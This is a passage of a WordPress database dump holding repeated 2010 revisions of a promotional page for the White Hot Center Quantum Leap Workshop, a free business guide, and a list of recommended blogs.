'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 11:24:19', '2010-10-07 18:24:19', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-38/', 0, 'revision', '', 0);
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(1095, 2, '2010-10-07 11:37:29', '2010-10-07 18:37:29', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life! </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #000000;">Go ahead–take the leap and download the Workshop Brochure.</span></span></h2>\r\n<h2></h2>\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" />\r\n</span>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition\r\nProof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 11:37:29', '2010-10-07 18:37:29', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-39/', 0, 'revision', '', 0),
(1096, 2, '2010-10-07 11:39:40', '2010-10-07 18:39:40', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life! </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #000000;">Go ahead–take the leap and download the Workshop Brochure.</span></span></h2>\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" />\r\n</span>\r\n<h1><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition\r\nProof Business</a>. </span></h1>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 11:39:40', '2010-10-07 18:39:40', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-40/', 0, 'revision', '', 0),
(1097, 2, '2010-10-07 11:41:42', '2010-10-07 18:41:42', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life! </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #000000;">Go ahead–take the leap and download the Workshop Brochure.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" />\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition Proof Business</a>. </span></strong>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 11:41:42', '2010-10-07 18:41:42', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-41/', 0, 'revision', '', 0),
(1099, 2, '2010-10-07 11:49:30', '2010-10-07 18:49:30', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life! </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #000000;">Go ahead–take the leap and download the Workshop Brochure.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!<span style="color: #ff6600;"> <span style="color: #000000;">If you find the guide useful to you, please tweet the link here share it with others. </span></span></strong></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 11:49:30', '2010-10-07 18:49:30', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-43/', 0, 'revision', '', 0),
(1098, 2, '2010-10-07 11:47:56', '2010-10-07 18:47:56', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life! </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #000000;">Go ahead–take the leap and download the Workshop Brochure.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a>\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;"> </span></strong><span style="color: #ff6600;"> </span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!<span style="color: #ff6600;"> <span style="color: #000000;">If you find the guide useful to you, please tweet the link here share it with others. </span></span></strong></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 11:47:56', '2010-10-07 18:47:56', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-42/', 0, 'revision', '', 0),
(1100, 2, '2010-10-07 12:00:23', '2010-10-07 19:00:23', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h1 style="text-align: left;"><span style="color: #000000;">Early Registration is open!</span></h1>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the Workshop Brochure. If you would like more information on earlier registration prior to the official workshop site going live in November 2010, please call the office 805 640 3920, or email Thomson Dawson.\r\n</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!<span style="color: #ff6600;"> <span style="color: #000000;">If you find the guide useful to you, please tweet the link here share it with others. </span></span></strong></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:00:23', '2010-10-07 19:00:23', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-44/', 0, 'revision', '', 0),
(1101, 2, '2010-10-07 12:02:59', '2010-10-07 19:02:59', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h1 style="text-align: left;"><span style="color: #000000;">Early Registration is open!</span></h1>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the Workshop Brochure. If you would like more information on earlier registration prior to the official workshop site going live in November 2010, please call the office 805 640 3920, or email Thomson Dawson.\r\n</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!<span style="color: #ff6600;"> <span style="color: #000000;">If you find the guide useful to you, please tweet the link here share it with others. </span></span></strong></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:02:59', '2010-10-07 19:02:59', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-45/', 0, 'revision', '', 0),
